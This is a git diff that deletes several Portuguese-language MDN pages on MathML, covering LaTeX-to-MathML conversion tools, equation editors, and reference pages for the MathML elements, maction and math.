-<p>If you only want to parse simple LaTeX mathematical expressions, you might want to try tools like <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> or <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. The latter is often available on Linux distributions. Let's consider the former, which was originally written by Paul Gartside at the beginning of the Mozilla MathML project and has been maintained by Jacques Distler since then. It's a small stream filter written in C/C++ and generated with flex and bison ; in particular it is very fast. Install flex/bison as well as the classical compiler and make tools. On Unix, you can then download itex2MML, build and install it:</p>
-
-<pre class="brush: bash notranslate">wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \
-tar -xzf itexToMML.tar.gz; \
-cd itex2MML/itex-src;
-make
-sudo make install
-</pre>
-
-<p>Now suppose that you have a HTML page with TeX fragments delimited by dollars:</p>
-
-<pre class="brush: html notranslate">input.html
-
-...
-&lt;/head&gt;
-&lt;body&gt;
- &lt;p&gt;$\sqrt{a^2-3c}$&lt;/p&gt;
- &lt;p&gt;$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p>Then to generate the HTML page input.html with TeX expressions replaced by MathML expressions, just do</p>
-
-<pre class="notranslate">cat input.html | itex2MML &gt; output.html</pre>
-
-<p>There are even more sophisticated tools to convert arbitrary LaTeX documents into HTML+MathML. For example <a href="https://www.tug.org/tex4ht/">TeX4ht</a> is often included in TeX distributions and has an option to use MathML instead of PNG images. This command will generate an XHTML+MathML document foo.xml from a foo.tex LaTeX source:</p>
-
-<pre class="notranslate"> mk4ht mzlatex foo.tex # Linux/Mac platforms
- mzlatex foo.tex # Windows platform
-</pre>
-
-<p>Note that <a href="https://github.com/michal-h21/tex4ebook">tex4ebook</a> relies on TeX4ht to generate EPUB documents.</p>
-
-<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> is another tool that can generate HTML5 and EPUB documents. Windows users can watch this <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">video tutorial</a>. Given a foo.tex LaTeX file, you can use these simple commands:</p>
-
-<pre class="notranslate"> latexmlc --dest foo.html foo.tex # Generate a HTML5 document foo.html
- latexmlc --dest foo.epub foo.tex # Generate an EPUB document foo.epub</pre>
-
-<p>To handle the case of browsers without MathML support, you can use the <code>--javascript</code> parameter to tell LaTeXML to include one of the <a href="#Fallback_for_Browsers_without_MathML_support">fallback scripts</a>:</p>
-
-<pre class="notranslate"> latexmlc --dest foo.html --javascript=<code class="language-html"><span class="script token"><span class="tag token"><span class="attr-value token">https://fred-wang.github.io/mathml.css/mspace.js</span></span></span></code> foo.tex # Add the CSS fallback
- latexmlc --dest foo.html --javascript=<code class="language-html"><span class="script token"><span class="tag token"><span class="attr-value token">https://fred-wang.github.io/mathjax.js/mpadded-min.js</span></span></span></code> foo.tex # Add the MathJax fallback
-</pre>
-
-<p>If your LaTeX document is big, you might want to split it into several small pages rather than putting everything in a single large page. For example, this will split the pages at the <code>\section</code> level:</p>
-
-<pre class="notranslate"> latexmlc --dest foo.html --splitat=section foo.tex
-</pre>
-
-<h3 id="Converção_server-side">Converção <em>server-side</em></h3>
-
-<ul>
- <li>pros:
- <ul>
- <li>Conversion is done server-side and the MathML output can be cached, which is more efficient and cleaner than client-side conversion.</li>
- </ul>
- </li>
- <li>cons:
- <ul>
- <li>This might be a bit more difficult to set up, since you need some admin right on your server.</li>
- </ul>
- </li>
-</ul>
-
-<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a>, <a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> and <a href="https://github.com/gwicke/mathoid">Mathoid</a> and can be used to to perform server-side LaTeX-to-MathML conversion.<a href="http://instiki.org/show/HomePage"> Instiki</a> and <a href="https://www.mediawiki.org/wiki/MediaWiki">MediaWiki</a> are two wiki engines that support LaTeX-to-MathML conversion.</p>
-
-<h2 id="Interface_Gráfica">Interface Gráfica</h2>
-
-<h3 id="Caixa_de_entrada">Caixa de entrada</h3>
-
-<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has several interfaces, including a <a href="http://ckeditor.com/addon/texzilla">CKEditor plugin</a> used on MDN, an <a href="http://fred-wang.github.io/TeXZilla/">online demo</a>, a <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a> or a <a href="https://marketplace.firefox.com/app/texzilla-1/">FirefoxOS Webapp</a>. It has also been integrated into <a href="http://www.seamonkey-project.org/">SeaMonkey</a> since version 2.28 and into <a href="https://www.mozilla.org/thunderbird/">Thunderbird</a> since version 31.<a href="http://abisource.org/"> Abiword</a> contains a small equation editor, based on itex2MML. Finally,<a href="http://www.bluegriffon.com/"> Bluegriffon</a> has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax.</p>
-
-<p style="text-align: center;"><img alt="BlueGriffon" src="http://www.bluegriffon.com/public/shots/mathml-shot1.png" style="height: 467px; width: 358px;"></p>
-
-<h3 id="Editores_WYSIYWG">Editores WYSIYWG</h3>
-
-<p><a href="http://www.firemath.info/">Firemath</a> é uma extensão para Firefox que fornece um editor WYSIWYG MathML. Uma pré-visualização da fórmula é apresentada utilizando o motor da renderização do Mozilla. O código MathML gerado está visivel na parte inferior. Utilize o campo de texto para elementos simbólicos e botões para construir construções avançadas. Uma vez terminado, pode guardar o seu documento como uma página XHTML.</p>
-
-<p><a href="http://www.lyx.org/">LyX</a> é um editor gráfico LaTeX, que tem suporte integrado para exportação de XHTML e MathML e pode ser configurado para utilizar conversores LaTeX-para-(X)HTML semelhantes. Pode, por exemplo, configurá-lo para utilizar <a href="https://github.com/brucemiller/LaTeXML/wiki/Integrating-LaTeXML-into-TeX-editors#lyx">a exportação LaTeXML HTML5/EPUB</a>.</p>
-
-<p>O <a href="http://www.openoffice.org/">OpenOffice</a> e o <a href="http://libreoffice.org/">LibreOffice</a> têm um editor de equações (File → New → Formula). Isto é parecido a um WYSIWYG: o utilizador escreve o código usando um painel/teclado e uma pré-visualização é regularmente atualizada. O editor usa o seu próprio sintaxe "StarMath", mas MathML também e criado quando o documneto é guardado. Para aceder ao código MathML, guarda o documento como um <code>.mml</code> e abre o ficheiro com um editor de texto. Em alternativa, pode extrair o ficheiro <code>.odf</code> (que na realidade é um arquivo ZIP) e abrir um ficheiro XML chamado <code>content.xml</code>.</p>
-
-<p style="text-align: center;"><img alt="Open Office Math" src="/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p>
-
-<p><a href="http://www.w3.org/Amaya/">Amaya</a> é o editor da web do W3C, que é capaz de lidar com MathML dentro de documentos XHTML. Utilize os painéis de Elementos e Cartas Especiais para criar várias construções matemáticas avançadas. Texto simples como <code>a+2</code> é automaticamente analisado e a marcação MathML apropriada é gerada. Uma vez terminado, pode guardar directamente a sua página XHTML e abri-la em Mozilla.</p>
-
-<h2 id="Reconhecimento_óptico_de_carácter_e_caligrafia">Reconhecimento óptico de carácter e caligrafia</h2>
-
-<p><a href="http://www.inftyreader.org/">Inftyreader</a> é capaz de fazer o reconhecimento óptico de carateres, inclusive a conversão de equações matemáticas para MathML. Outras ferramentas fazem reconhecimento de caligrafia, como o <em><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd371698(v=vs.85).aspx">Windows Math Input Panel</a></em> ou o conversor online <em><a href="https://webdemo.myscript.com/views/math.html" title="http://webdemo.visionobjects.com/portal.html">Web Equation</a></em>.</p>
-
-<div class="originaldocinfo">
-<h3 id="Original_Document_Information">Original Document Information</h3>
-
-<ul>
- <li>Author(s): Frédéric Wang</li>
- <li>Other Contributors: Florian Scholz</li>
- <li>Copyright Information: Portions of this content are © 2010 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
-</ul>
-</div>
diff --git a/files/pt-pt/web/mathml/element/index.html b/files/pt-pt/web/mathml/element/index.html
deleted file mode 100644
index 904de1a607..0000000000
--- a/files/pt-pt/web/mathml/element/index.html
+++ /dev/null
@@ -1,234 +0,0 @@
----
-title: Referência de elementos MathML
-slug: Web/MathML/Element
-tags:
- - MathML
- - Referência de MathML
-translation_of: Web/MathML/Element
----
-<p>{{MathMLRef}}</p>
-
-<p>Isto é uma lista alfabética de elementos de <strong>presentação</strong> MathML.</p>
-
-<p>O termo <em><strong>presentation markup</strong></em> é usado para descrever o <em>layout</em> da estrutura da notação matemática enquanto <em><strong>content markup</strong></em> oferece o significado matemático e não é suposto ser visualizado pelo processador MathML (veja {{ bug(276028) }}). Se deseja aprender mais sobre <em>content markup</em> deve ver <em><a class="external" href="http://www.w3.org/TR/MathML3/chapter4.html" title="http://www.w3.org/TR/MathML3/chapter4.html">Chapter 4</a></em> no <em><a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">MathML 3 specification</a></em>.</p>
-
-<p>Elementos MathML implementam a classe {{domxref("MathMLElement")}}.</p>
-
-<h2 id="Elementos_de_apresentação_MathML_de_A_a_Z">Elementos de apresentação MathML de A a Z</h2>
-
-<div class="multiColumnList">
-<h3 id="math">math</h3>
-
-<ul>
- <li>{{MathMLElement("math")}} (Elemento de raiz)</li>
-</ul>
-
-<h3 id="A">A</h3>
-
-<ul>
- <li>{{MathMLElement("maction")}} (Ações associadas a subexpressões)</li>
- <li>{{MathMLElement("maligngroup")}} (Grupo de alinhamento)</li>
- <li>{{MathMLElement("malignmark")}} (Pontos de alinhamento)</li>
-</ul>
-
-<h3 id="E">E</h3>
-
-<ul>
- <li>{{MathMLElement("menclose")}} (Conteúdos enclausurados)</li>
- <li>{{MathMLElement("merror")}} (Conteúdos enclausurados de sintaxe de mensagens de erro)</li>
-</ul>
-
-<h3 id="F">F</h3>
-
-<ul>
- <li>{{MathMLElement("mfenced")}} (Parênteses) {{deprecated_inline}}</li>
- <li>{{MathMLElement("mfrac")}} (Fração)</li>
-</ul>
-
-<h3 id="G">G</h3>
-
-<ul>
- <li>{{MathMLElement("mglyph")}} (Apresentar símbolos não standard)</li>
-</ul>
-
-<h3 id="I">I</h3>
-
-<ul>
- <li>{{MathMLElement("mi")}} (Identificador)</li>
-</ul>
-
-<h3 id="L">L</h3>
-
-<ul>
- <li>{{MathMLElement("mlabeledtr")}} (Fila marcada numa tabela ou matriz)</li>
- <li>{{MathMLElement("mlongdiv")}} (Notação de divisão longa)</li>
-</ul>
-
-<h3 id="M">M</h3>
-
-<ul>
- <li>{{MathMLElement("mmultiscripts")}} (<em>Prescripts</em> e índices de tensores)</li>
-</ul>
-
-<h3 id="N">N</h3>
-
-<ul>
- <li>{{MathMLElement("mn")}} (Numero)</li>
-</ul>
-
-<h3 id="O">O</h3>
-
-<ul>
- <li>{{MathMLElement("mo")}} (Operador)</li>
- <li>{{MathMLElement("mover")}} (<em>Overscript</em>)</li>
-</ul>
-
-<h3 id="P">P</h3>
-
-<ul>
- <li>{{MathMLElement("mpadded")}} (Espaço à volta de conteúdo)</li>
- <li>{{MathMLElement("mphantom")}} (Conteúdo invisível com espaço reservado)</li>
-</ul>
-
-<h3 id="R">R</h3>
-
-<ul>
- <li>{{MathMLElement("mroot")}} (Radical com índice especidicado)</li>
- <li>{{MathMLElement("mrow")}} (Sub-expressõs agrupadas)</li>
-</ul>
-
-<h3 id="S">S</h3>
-
-<ul>
- <li>{{MathMLElement("ms")}} (String literal)</li>
- <li>{{MathMLElement("mscarries")}} (Anotações como carries)</li>
- <li>{{MathMLElement("mscarry")}} (Carry, elemento pertencente a {{MathMLElement("mscarries")}})</li>
- <li>{{MathMLElement("msgroup")}} (Filas agrupadas dos elementos {{MathMLElement("mstack")}} e {{MathMLElement("mlongdiv")}})</li>
- <li>{{MathMLElement("msline")}} (Linhas horizontais dentro de elementos {{MathMLElement("mstack")}})</li>
- <li>{{MathMLElement("mspace")}} (Espaço)</li>
- <li>{{MathMLElement("msqrt")}} (Raiz quadrada sem índice)</li>
- <li>{{MathMLElement("msrow")}} (Filas dentro de elementos {{MathMLElement("mstack")}})</li>
- <li>{{MathMLElement("mstack")}} (Alinhamento em pilha)</li>
- <li>{{MathMLElement("mstyle")}} (Mudar estilo)</li>
- <li>{{MathMLElement("msub")}} (<em>Subscript</em>)</li>
- <li>{{MathMLElement("msup")}} (<em>Superscript</em>)</li>
- <li>{{MathMLElement("msubsup")}} (Par de <em>subscript-superscript</em>)</li>
-</ul>
-
-<h3 id="T">T</h3>
-
-<ul>
- <li>{{MathMLElement("mtable")}} (Tabela ou matriz)</li>
- <li>{{MathMLElement("mtd")}} (Célula numa tabela ou matriz)</li>
- <li>{{MathMLElement("mtext")}} (Texto)</li>
- <li>{{MathMLElement("mtr")}} (Fila numa tabela ou matriz)</li>
-</ul>
-
-<h3 id="U">U</h3>
-
-<ul>
- <li>{{MathMLElement("munder")}} (<em>Underscript</em>)</li>
- <li>{{MathMLElement("munderover")}} (Par de <em>underscript-overscript</em>)</li>
-</ul>
-
-<h3 id="Outros_elementos">Outros elementos</h3>
-
-<ul>
- <li>{{MathMLElement("semantics")}} (Contentor para anotações semânticas)</li>
- <li><a href="/pt-PT/docs/Web/MathML/Element/semantics#annotation"><code>&lt;annotation&gt;</code></a> (Anotações de dados)</li>
- <li><a href="/pt-PT/docs/Web/MathML/Element/semantics#annotation-xml"><code>&lt;annotation-xml&gt;</code></a> (Anotações de XML)</li>
-</ul>
-</div>
-
-<h2 id="Elementos_de_apresentação_MathML_por_categoria">Elementos de apresentação MathML por categoria</h2>
-
-<h3 id="Elementos_de_raiz">Elementos de raiz</h3>
-
-<ul>
- <li>{{MathMLElement("math")}}</li>
-</ul>
-
-<h3 id="Elementos_token">Elementos token</h3>
-
-<ul>
- <li>{{MathMLElement("mglyph")}}</li>
- <li>{{MathMLElement("mi")}}</li>
- <li>{{MathMLElement("mn")}}</li>
- <li>{{MathMLElement("mo")}}</li>
- <li>{{MathMLElement("ms")}}</li>
- <li>{{MathMLElement("mspace")}}</li>
- <li>{{MathMLElement("mtext")}}</li>
-</ul>
-
-<h3 id="Layout_geral"><em>Layout</em> geral</h3>
-
-<ul>
- <li>{{MathMLElement("menclose")}}</li>
- <li>{{MathMLElement("merror")}}</li>
- <li>{{MathMLElement("mfenced")}} {{deprecated_inline}}</li>
- <li>{{MathMLElement("mfrac")}}</li>
- <li>{{MathMLElement("mpadded")}}</li>
- <li>{{MathMLElement("mphantom")}}</li>
- <li>{{MathMLElement("mroot")}}</li>
- <li>{{MathMLElement("mrow")}}</li>
- <li>{{MathMLElement("msqrt")}}</li>
- <li>{{MathMLElement("mstyle")}}</li>
-</ul>
-
-<h3 id="Elementos_de_script_e_limite">Elementos de <em>script</em> e limite</h3>
-
-<ul>
- <li>{{MathMLElement("mmultiscripts")}}</li>
- <li>{{MathMLElement("mover")}}</li>
- <li>{{MathMLElement("mprescripts")}}</li>
- <li>{{MathMLElement("msub")}}</li>
- <li>{{MathMLElement("msubsup")}}</li>
- <li>{{MathMLElement("msup")}}</li>
- <li>{{MathMLElement("munder")}}</li>
- <li>{{MathMLElement("munderover")}}</li>
- <li>{{MathMLElement("none")}}</li>
-</ul>
-
-<h3 id="Matemática_tabular">Matemática tabular</h3>
-
-<ul>
- <li>{{MathMLElement("maligngroup")}}</li>
- <li>{{MathMLElement("malignmark")}}</li>
- <li>{{MathMLElement("mlabeledtr")}}</li>
- <li>{{MathMLElement("mtable")}}</li>
- <li>{{MathMLElement("mtd")}}</li>
- <li>{{MathMLElement("mtr")}}</li>
-</ul>
-
-<h3 id="Matemática_elementar">Matemática elementar</h3>
-
-<ul>
- <li>{{MathMLElement("mlongdiv")}}</li>
- <li>{{MathMLElement("mscarries")}}</li>
- <li>{{MathMLElement("mscarry")}}</li>
- <li>{{MathMLElement("msgroup")}}</li>
- <li>{{MathMLElement("msline")}}</li>
- <li>{{MathMLElement("msrow")}}</li>
- <li>{{MathMLElement("mstack")}}</li>
-</ul>
-
-<h3 id="Elementos_sem_categoria">Elementos sem categoria</h3>
-
-<ul>
- <li>{{MathMLElement("maction")}}</li>
-</ul>
-
-<h2 id="Anotações_semânticas">Anotações semânticas</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/MathML/Element/semantics#annotation"><code>&lt;annotation&gt;</code></a></li>
- <li><a href="/pt-PT/docs/Web/MathML/Element/semantics#annotation-xml"><code>&lt;annotation-xml&gt;</code></a></li>
- <li>{{MathMLElement("semantics")}}</li>
-</ul>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/MathML" title="/en-US/docs/Web/MathML">MathML</a></li>
- <li><a href="/pt-PT/docs/Web/MathML/Attribute" title="/en-US/docs/Web/MathML/Attribute">Referência de atributos MathML</a></li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/maction/index.html b/files/pt-pt/web/mathml/element/maction/index.html
deleted file mode 100644
index b176d8e159..0000000000
--- a/files/pt-pt/web/mathml/element/maction/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: <maction>
-slug: Web/MathML/Element/maction
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Enlivening Expressions'
- - Referência de MathML
-translation_of: Web/MathML/Element/maction
----
-<div>{{MathMLRef}}</div>
-
-<div class="summary">
-<p>O elemento de MathML <strong><code>&lt;maction&gt;</code></strong> oferece a possibilidade de associar ações a (sub-) expressões. A ação é indicada pelo atributo <code>actiontype</code>, que aceita vários valores. Para indicar que elementos são afetados pela ação, pode usar o atributo <code>selection</code>.</p>
-</div>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-actiontype">actiontype</dt>
- <dd>A ação que indica o que acontecerá ao elemento. Os valores possíveis são:
- <ul>
- <li><code>statusline</code>: Se o utilizador carregar ou tiver o cursor sob a expressão, a mensagem é enviada para a <em>status line</em> do navegador. A sintaxe é: <code>&lt;maction actiontype="statusline"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
- <li><code>toggle</code>: Quando a sub-expressão é carregada, a expressão alterna com outra expressão selecionada. Cada vez que é carregada o valor de <code>selection</code> aumenta.A sintaxe é: <code>&lt;maction actiontype="toggle" selection="<em>positive-integer</em>" &gt; <em>expression1</em> <em>expression2</em> <em>expressionN</em> &lt;/maction&gt;</code>.</li>
- <li><code>tooltip</code>: Quando o cursor está sob a expressão, uma <em>tooltip</em> com uma mensagem é feita visível perto da expressão.<br>
- A sintaxe é:<code> &lt;maction actiontype="tooltip"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
- </ul>
- </dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto e da linha da fração. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-selection">selection</dt>
- <dd>O elemento que no qual a ação tem efeito. O valor pré-definido é <code>1</code>, que representa o primeiro elemento do grupo.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>O seguinte exemplo usa o "<em>toggle</em>" <code>actiontype</code>:</p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-&lt;maction actiontype="toggle"&gt;
-
- &lt;mfrac&gt;
- &lt;mn&gt;6&lt;/mn&gt;
- &lt;mn&gt;8&lt;/mn&gt;
- &lt;/mfrac&gt;
-
- &lt;mfrac&gt;
- &lt;mrow&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;mo&gt;&amp;sdot;&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mn&gt;4&lt;/mn&gt;
- &lt;mo&gt;&amp;sdot;&lt;/mo&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
-
- &lt;mfrac&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;mn&gt;4&lt;/mn&gt;
- &lt;/mfrac&gt;
-
-&lt;/maction&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.maction', 'maction') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.maction', 'maction') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-
-
-<p>{{Compat("mathml.elements.maction")}}</p>
-
-
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Anterior ao Gecko 9.0 {{ geckoRelease("9.0") }} o valor não <em>standard</em> <code>restyle</code> no atributo <code>actiontype</code> era suportado. Este valor foi removido.</li>
- <li>Anterior ao Gecko 14.0 {{ geckoRelease("14.0") }} a ação <code>statusline</code> usava uma sintaxe não <em>standard</em> (ver abaixo). Agora segue a especificação da MathML.<br>
-
- <pre class="brush: html notranslate">&lt;maction actiontype="statusline#(message)"&gt;
-(expression)
-&lt;/maction&gt;
-</pre>
- </li>
- <li>No Gecko 15.0 {{geckoRelease("15.0")}} o atributo <code>selection</code> só é utilizado pela ação <code>"toggle"</code>.</li>
- <li>A partir do Gecko 16.0 {{geckoRelease("16.0")}} o atributo <code>selection</code> é utilizado para <code>actiontype</code> desconhecidos. Se um <code>actiontype</code> não é indicado (o atributo é deixado vazio) ou o atributo <code>selection</code> é invalido, a marcação apresenta um erro MathML (<em>invalid-markup</em>).</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/math/index.html b/files/pt-pt/web/mathml/element/math/index.html
deleted file mode 100644
index 3439ad15e9..0000000000
--- a/files/pt-pt/web/mathml/element/math/index.html
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: <math>
-slug: Web/MathML/Element/math
-tags:
- - MathML
- - 'MathML:Element'
- - Referência MathML
-translation_of: Web/MathML/Element/math
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento top-level em MathML é <code>&lt;math&gt;</code>. Qualquer instância valida de MathML tem de ser envolto por <code>&lt;math&gt;</code>. Ademais não se deve por um elemento de <code>&lt;math&gt;</code> dentro de outro, mas pode se ter qualquer numero de outros elementos dentro desse elemento.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>Para além dos seguintes atributos, o elemento <code>&lt;math&gt;</code> aceita qualquer atributo do elemento {{ MathMLElement("mstyle") }}.</p>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/pt-PT/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-display">display</dt>
- <dd>Este atributo enumerado especifica como é que o <em>markup</em> da MathML deve ser impressa. Pode ter um dos seguintes valores:
- <ul>
- <li><code>block</code>, que significa que o elemento será impresso fora do <em>span</em> de texto em que se encontra, como um <em>block</em> que pode ser posicionado em qualquer lugar sem mudar o significado do texto;</li>
- <li><code>inline</code>, que significa que o elemento será impresso dentro do <em>span</em> de texto em que se encontra, e não pode ser movido para fora dele sem mudar o significado do texto.</li>
- </ul>
-
- <p>Se não estiver presente, o valor padrão é <code>inline</code>.</p>
- </dd>
- <dt id="attr-mode">mode {{deprecated_inline}}</dt>
- <dd>Obsoleto, use antes o <a href="/pt-PT/docs/Web/MathML/Element/math#attr-display">atributo display</a>.<br>
- Valores aceites são: <code>display</code> (que tem o mesmo efeito que <code>display="block"</code>) e <code>inline</code>.</dd>
- <dt id="attr-overflow">overflow</dt>
- <dd>Especifica como a expressão se comporta no caso de ser demasiada comprida para a largura máxima permitida. Valores aceites são: <code>linebreak</code> (valor padrão), <code>scroll</code>, <code>elide</code>, <code>truncate</code> e <code>scale</code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p><img alt="Theorem of Pythagoras" src="/files/3157/math.jpg"></p>
-
-<h3 id="Notação_HTML5">Notação HTML5</h3>
-
-<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
-  &lt;head&gt;
-    &lt;title&gt;MathML in HTML5&lt;/title&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
-
- &lt;math&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
-
-  &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<h3 id="Notação_de_XHTML">Notação de XHTML</h3>
-
-<pre class="brush: xml notranslate">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
-&lt;head&gt;
- &lt;title&gt;MathML in XHTML&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
- &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p><strong>Notes</strong>: Documentos de XHTML com MathML devem ser servidos como <code>application/xhtml+xml</code>. Pode satisfazer isto facilmente usando a extensão <code>.xhtml</code> para ficheiros locais. Para um servidor Apache <a class="external" href="http://httpd.apache.org/docs/2.4/mod/mod_mime.html#addtype">configura o seu ficheiro <code>.htaccess</code></a> para mapear as extensões ao tipo Mime correto. Já que o MathML está num documento XML, também deve se certificar que o documento XML está corretamente estruturado.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter2.html#interf.toplevel', 'The Top-Level math Element') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter7.html#interf.toplevel', 'The Top-Level math Element') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.math")}}</p>
-
-<h2 id="Notas_para_Firefox">Notas para Firefox</h2>
-
-<p>Firefox 7 introduziu suporte para aceitar todos os atributos de MathML no elemento top-level <code>math</code> (i.e. o mesmo comportamento que o elemento {{ MathMLElement("mstyle") }}). Contudo, o atributo <code>displaystyle</code> foi falhado e <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=669719">só foi adicionado</a> no Firefox 8.</p>
-
